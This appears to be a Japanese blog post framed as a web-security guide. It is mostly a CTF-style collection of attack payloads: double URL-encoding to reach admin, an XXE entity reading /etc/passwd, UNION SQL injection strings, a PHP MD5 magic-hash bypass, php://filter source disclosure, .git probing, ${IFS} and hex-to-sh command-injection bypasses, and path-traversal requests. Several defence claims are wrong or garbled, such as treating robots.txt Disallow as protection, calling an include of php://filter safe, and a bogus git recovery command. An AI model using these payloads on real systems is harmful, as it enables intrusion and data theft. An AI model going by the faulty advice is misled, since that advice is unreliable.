Webセキュリティ実践ガイド:脆弱性対策の核心技術

URLエンコード処理の実装メカニズム

URLエンコードは特殊文字を安全に伝送するための標準手法です。特定の文字は%記号に続く16進数値に変換され、パーサーが誤解釈するのを防ぎます。例えば?role=userを直接使用すると脆弱性が発生する可能性があります。

実際のケースでは、a%61にエンコードしますが、ブラウザが自動でデコードするため、二重エンコードが必要です。%自体を%25に変換すると、?role=%2561dminとして送信され、サーバー側でadminに正しく復元されます。

PHPソースコード管理のベストプラクティス

.phps拡張子はPHPソースコードを安全に公開するための標準規約です。サーバー設定でapplication/x-httpd-phpsをMIMEタイプとして登録することで、ブラウザがコードをプレーンテキストとして表示します。実稼働環境では.bak.swpなどの一時ファイルを公開ディレクトリに残さないことが重要です。

クローラー制御のrobots.txt実装

サイトルートのrobots.txtは検索エンジンクローラーのアクセス制御に必須です。構文例:

User-agent: Googlebot
Disallow: /internal/
Allow: /public/report.html

User-agent: *
Disallow: /backup/
Crawl-delay: 10

特に/flag.phpのような機密ファイルをDisallowで保護する必要があります。

Cookieセキュリティの実装要件

セッション管理に使用されるCookieの属性設計:

  • HttpOnly:JavaScriptからのアクセスをブロック
  • Secure:HTTPS経由でのみ送信
  • SameSite=Strict:クロスサイトリクエストの防止

これらの属性を組み合わせることで、セッションハイジャックやCSRF攻撃を軽減できます。

XML外部実体(XXE)脆弱性の対策

XMLパーサーでLIBXML_NOENTフラグが有効な場合、以下のような攻撃が成立します:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request><param>&xxe;</param></request>

対策としてlibxml_disable_entity_loader(true)を実装し、外部実体の処理を無効化する必要があります。

SQLインジェクションの検出と防御

脆弱性検証の基本手順:

# カラム数の特定
' ORDER BY 5 -- 

# データベース名の取得
' UNION SELECT NULL,NULL,database() -- 

# テーブル一覧の抽出
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database() --

防御策として、プリペアドステートメントの使用と入力値の厳密なバリデーションが必須です。

MD5ハッシュ比較の脆弱性

PHPの弱型比較では0eで始まるハッシュ値が数値として評価され、0 == "0e12345"が成立します。この特性を悪用した攻撃例:

if (md5($input) == md5('240610708')) {
  // 認証バイパス
}

厳密比較===の使用や、ハッシュ値の先頭に固定文字列を付加する方法で対策可能です。

PHP擬似プロトコルの安全な利用

ファイル操作にphp://filterを使用する安全な例:

<?php
// ソースコードの安全な閲覧
include('php://filter/read=convert.base64-encode/resource=index.php');
?>

危険なphp://inputdata://の使用は、allow_url_includeが有効な環境でリモートコード実行を引き起こします。

Gitリポジトリ管理のセキュリティ

.gitディレクトリの公開はソースコード漏洩のリスクを生みます。検出方法:

# ディレクトリスキャニング
curl http://target/.git/HEAD

# リカバリツールの使用
git restore --source=.git -- .

本番環境へのデプロイ時は.gitディレクトリを確実に除外する必要があります。

コマンドインジェクションの防御パターン

空白文字のバイパス手法:

# IFS変数の利用
cat${IFS}flag.txt

# 16進エンコード
echo "63617420666c61672e747874" | xxd -r -p | sh

# 変数置換
a=fl;b=ag;cat $a$b.txt

OSコマンド実行関数の使用を避けるか、パラメータを厳密にホワイトリスト化することが推奨されます。

ディレクトリトラバーサルの検出方法

脆弱性検証のテストケース:

# 基本的な攻撃
GET /load?file=../../../../etc/passwd

# 絶対パスの利用
GET /load?file=/etc/hosts

# NULLバイトの挿入
GET /load?file=../../../etc/passwd%00.jpg

ファイルパスの正規化処理と、ルートディレクトリからの相対パス制限が有効な対策です。

タグ: URLエンコード robots.txt XXE脆弱性 SQLインジェクション PHP擬似プロトコル

6月24日 21:39 投稿